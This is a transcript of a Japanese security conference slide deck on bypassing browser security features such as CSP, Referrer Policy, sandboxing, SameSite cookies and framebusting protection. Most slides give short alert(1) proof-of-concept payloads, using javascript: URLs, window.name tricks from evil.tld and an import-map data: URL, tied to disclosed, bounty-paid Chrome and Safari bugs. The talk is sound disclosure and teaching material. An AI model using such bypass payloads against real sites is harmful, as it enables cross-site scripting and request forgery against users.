Upgrade to Pro — share decks privately, control downloads, hide ads and more …

ブラウザセキュリティ機能は バイパスされる為にある

ブラウザセキュリティ機能は バイパスされる為にある

Shibuya.XSS techtalk #11で話したスライド
色んなブラウザセキュリティ機能をバイパスしていきます

Jun Kokatsu

May 16, 2019
Tweet

More Decks by Jun Kokatsu

Other Decks in Research

Transcript

  1. ブラウザセキュリティ機能は
    バイパスされる為にある
    小勝純
    @shhnjk

    View Slide

  2. Agenda
    time_remaining = true;
    while(time_remaining) {
    ● 機能説明
    ● バイパス
    }

    View Slide

  3. *-Policyで共通したバイパス手法
    SOP、CSP、Feature Policy、Referrer Policyなどなど
    オリジンが継承される所にポリシーが継承されないことがある

    View Slide

  4. *-Policyで共通したバイパス手法
    SOP、CSP、Feature Policy、Referrer Policyなどなど
    オリジンが継承される所にポリシーが継承されないことがある
    オリジンが継承される所とは:
    ● Blob URL
    ● Javascript URL
    ● about:blank
    ● iframe srcdoc
    など

    View Slide

  5. Content Security Policyとは
    許可されていないスクリプトやリソースをブロックするセキュリティ機能
    同一オリジンのスクリプトのみ許可
    Content-Security-Policy: script-src ‘self’;

    View Slide

  6. Content Security Policyとは
    許可されていないスクリプトやリソースをブロックするセキュリティ機能
    同一オリジンのスクリプトのみ許可
    Content-Security-Policy: script-src ‘self’;
    正しいNonceが指定されたスクリプトのみ許可
    Content-Security-Policy: script-src ‘nonce-ramdom’;
    alert(1) // allowed
    alert(1) // blocked

    View Slide

  7. CSPのバイパス
    以下の様なコードがあった場合
    Content-Security-Policy: script-src: ‘nonce-random’;
    window.open(location.hash.slice(1))

    View Slide

  8. CSPのバイパス
    以下の様なコードがあった場合
    Content-Security-Policy: script-src: ‘nonce-random’;
    window.open(location.hash.slice(1))
    以下の様にJavascript URLを使うことで、SafariでCSPがバイパス出来た
    https://victim.tld/vulnerable_endpoint.html#javascript:alert(1)
    CVE-2018-4118

    View Slide

  9. CSPのバイパス2
    以下の様なコードがあった場合
    Content-Security-Policy: script-src: ‘nonce-random’;
    window.open(location.hash.slice(1),”new”)

    View Slide

  10. CSPのバイパス2
    以下の様なコードがあった場合
    Content-Security-Policy: script-src: ‘nonce-random’;
    window.open(location.hash.slice(1),”new”)
    https://evil.tld
    window.name=”new”;
    window.open(“//victim.tld#javascript:
    alert(1)”);
    location.href=”//victim.tld/robots.txt”

    View Slide

  11. CSPのバイパス2
    以下の様なコードがあった場合
    Content-Security-Policy: script-src: ‘nonce-random’;
    window.open(location.hash.slice(1),”new”)
    https://evil.tld https://victim.tld#javascript:alert(1)
    button.onclick = () => {
    window.open(location.hash.slice(1),
    ”new”);
    }
    window.name=”new”;
    window.open(“//victim.tld#javascript:
    alert(1)”);
    location.href=”//victim.tld/robots.txt”

    View Slide

  12. CSPのバイパス2
    以下の様なコードがあった場合
    Content-Security-Policy: script-src: ‘nonce-random’;
    window.open(location.hash.slice(1),”new”)
    https://victim.tld/robots.txt https://victim.tld#javascript:alert(1)
    button.onclick = () => {
    window.open(location.hash.slice(1),
    ”new”);
    }
    https://victim.tld/robots.txtにCSPが設定されて
    いない場合はChromeとSafariでバイパスが可能
    だった
    CVE-2017-15387: $1000 each
    No CSP

    View Slide

  13. Referrer Policyとは
    Referrerをどんな場合に送るかを指定出来るセキュリティ機能
    Referrerを常に送信しない
    Referrer-Policy: no-referrer
    同一オリジンへのリクエストに対してのみ
    Referrerを送る
    Referrer-Policy: same-origin

    View Slide

  14. Referrer Policyのバイパス
    about:blankベージを開いてもChromeではReferrer Policyが継承されていなかった
    Referrer-Policy: no-referrer
    w = window.open("about:blank");
    w.document.write("");
    CVE-2018-6048: $500

    View Slide

  15. CSP/iframeサンドボックス
    windowやiframe内に色々な制限をかけられるセキュリティ機能
    Content-Security-Policy: sandbox allow-scripts; // スクリプトは許可
    ポップアップは許可

    View Slide

  16. CSP/iframeサンドボックス
    windowやiframe内に色々な制限をかけられるセキュリティ機能
    Content-Security-Policy: sandbox allow-scripts; // スクリプトは許可
    ポップアップは許可
    allow-same-originが指定されない限りサンドボックス内のオリジンは
    Opaque
    オリジンとなる
    オリジンが変わってもURLは変わらない為、色々なバグが発生する

    View Slide

  17. Service WorkerとCSPサンドボックスの問題
    Service Workerが登録されたオリジン内のリクエストは
    Service Workerを
    経由する様になる
    navigator.serviceWorker.
    register(“sw.js”);
    fetch(“/”);
    self.addEventListener('fetch', e=> {
    e.respondWith(fetch(e.request));
    })

    View Slide

  18. Service WorkerとCSPサンドボックスの問題
    ChromeではCSPサンドボックスされたページからのリクエストも
    Service Workerを経由して
    しまっていた為、サンドボックス外のオリジンの情報が取得出来た
    CVE-2019-5811: $2000
    alert(self.origin); // null
    fetch(“/”);
    self.addEventListener('fetch', e=> {
    e.respondWith(fetch(e.request));
    })
    https://victim.tld/sandbox

    View Slide

  19. SameSiteクッキー
    同一サイトからのリクエストにのみ送られるクッキーが作れる
    ※SameSiteクッキーでのサイトとは eTLD+1だけでschemeは含まれない
    Set-Cookie: secret=1; SameSite=Strict

    View Slide

  20. SameSiteクッキー
    同一サイトからのリクエストにのみ送られるクッキーが作れる
    ※SameSiteクッキーでのサイトとは eTLD+1だけでschemeは含まれない
    Set-Cookie: secret=1; SameSite=Strict
    Laxはトップレベルナビゲーションのみクロスサイトからでも送られる
    ※クロスサイトからの Postメソッドのトップレベルナビゲーションには送られない
    Set-Cookie: secret=2; SameSite=Lax

    View Slide

  21. SameSite Strictのバイパス
    rel=”noopener”を使うと新しく開かれるタブとの関連性を消せるが、
    SameSiteクッキーまでもが送られてしまっていた
    CSRF
    https://crbug.com/830091: $2000

    View Slide

  22. SameSite Laxのバイパス
    https://victim.tld
    Set-Cookie: secret=Lax; SameSite=Lax
    https://evil.tld
    https://victim.tld
    No cookie
    クロスサイトから埋め込まれても送られない

    View Slide

  23. SameSite Laxのバイパス
    https://victim.tld
    Set-Cookie: secret=Lax; SameSite=Lax
    https://evil.tld
    https://victim.tld
    No cookie
    https://evil.tld
    https://victim.tld
    secret=Lax
    https://victim.tld
    クロスサイトから埋め込まれても送られない
    トップフレームが同一サイトだと送られていた
    CVE-2018-18351: $1000

    View Slide

  24. Dangling markup mitigation
    リソースリクエストの中に\nと<が含まれるものをブロックするChromeの
    セキュリティ機能
    https://www.chromestatus.com/feature/5735596811091968
    Hello shhnjk
    … Today’s talk
    ユーザの関与なしに送られるリクエストのみを対象としている

    View Slide

  25. Dangling markup mitigationのバイパス
    Data URLをパースする際スペースや改行が消されるので、
    Data URL内のimgタグのリク
    エストには改行が存在しなくなる
    Hello shhnjk
    … Today’s talk
    https://crbug.com/749852 : $500

    View Slide

  26. クロスオリジンの無効化
    クロスオリジンなダウンロードを無効化しナビゲーションに変更する
    Chromeの
    セキュリティ機能
    https://www.chromestatus.com/feature/4969697975992320
    Navigate instead of download
    クロスオリジンな強制ダウンロードは悪用されたこともあった
    https://labs.mwrinfosecurity.com/assets/BlogFiles/Geshev-and-Miller-Logic-Bug-Hunting-in-Chrome-on-Android.pdf

    View Slide

  27. クロスオリジンの無効化のバイパス
    クロスオリジンにリダイレクトすればいい
    Let’s just download :)
    残念ながら重複

    View Slide

  28. クロスオリジンの無効化のバイパス
    クロスオリジンにリダイレクトすればいい
    Let’s just download :)
    残念ながら重複
    一度ダウンロードとしてリクエストしたリソースをレスポンスが返ってきてからナビゲーション
    に変更する為、様々なバグを生み出してくれる

    View Slide

  29. クロスオリジンframebustingのブロック
    ユーザの関与がないクロスオリジンな
    framebustingをブロックするChromeの
    セキュリティ機能
    https://www.chromestatus.com/feature/5851021045661696
    https://victim.tld
    https://evil.tld
    top.location.href = “phish”;

    View Slide

  30. クロスオリジンframebustingのブロックのバイパス
    ダウンロードリクエストがリダイレクトしナビゲーションに変わる際、
    どのフレームがリクエストを開始したかの情報が伝わっておらず、
    条件なしでトップフレームがナビゲートされてしまっていた
    https://victim.tld
    https://evil.tld
    id=”link” download>go
    link.click(); CVE-2019-5822: $500

    View Slide

  31. 伝えたかったこと
    ● バグハント/診断 対象がセキュアだろうと思い込んではいけない

    View Slide

  32. 伝えたかったこと
    ● バグハント/診断 対象がセキュアだろうと思い込んではいけない
    ● バグを見つけたことに喜ぶのはいいが、満足してはいけない

    View Slide

  33. 伝えたかったこと
    ● バグハント/診断 対象がセキュアだろうと思い込んではいけない
    ● バグを見つけたことに喜ぶのはいいが、満足してはいけない
    ● セキュリティ機能はバイパスされる為にある。ぐらいの思い込みでいくといい

    View Slide

  34. 伝えたかったこと
    ● バグハント/診断 対象がセキュアだろうと思い込んではいけない
    ● バグを見つけたことに喜ぶのはいいが、満足してはいけない
    ● セキュリティ機能はバイパスされる為にある。ぐらいの思い込みでいくといい
    ● 新しい機能の追加はそれ以前にある全ての機能との相性を考慮する必要がある

    View Slide

  35. Import Mapsで何をバイパスできるか考えてみよう
    <br/>{ "imports": {<br/>"/path/to/kv-storage-polyfill.mjs": [<br/>"std:kv-storage",<br/>"/path/to/kv-storage-polyfill.mjs"<br/>]<br/>}}<br/>
    <br/>import {storage} from '/path/to/kv-storage-polyfill.mjs';<br/>
    https://developers.google.com/web/updates/2019/03/kv-storage#import_maps
    今日紹介したセキュリティ機能の何かがバイパス
    出来ます!考えてみましょう!
    ブラウザ内に最初のスクリプトがある場合はそれを、ない場合は
    次のスクリプトを読み込んでくれるマップ

    View Slide

  36. CSPのバイパス3
    Content-Security-Policy: script-src: ‘nonce-random’;
    <br/>{ "imports": {<br/>"/path/to/kv-storage-polyfill.mjs": [<br/>"data:application/javascript,const storage=()=>{}; storage.set=(a,b)=>{alert(1)};<br/>export {storage};"<br/>]<br/>}}
    <br/>import {storage} from '/path/to/kv-storage-polyfill.mjs';<br/>storage.set('test', '1'); // alert(1)<br/>
    Nonceを指定しなくてもマップを作れてしまう
    https://crbug.com/941340: $1000
    アイディアが浮かんだ方はみんな正解!

    View Slide

  37. Questions?
    https://victim.tld/agenda.html?fake_xss=time_remaining = true;
    time_remaining = true;
    while(time_remaining) {
    ● 機能説明
    ● バイパス
    }
    The XSS Auditor refused to execute a script
    Uncaught ReferenceError: time_remaining is not defined

    View Slide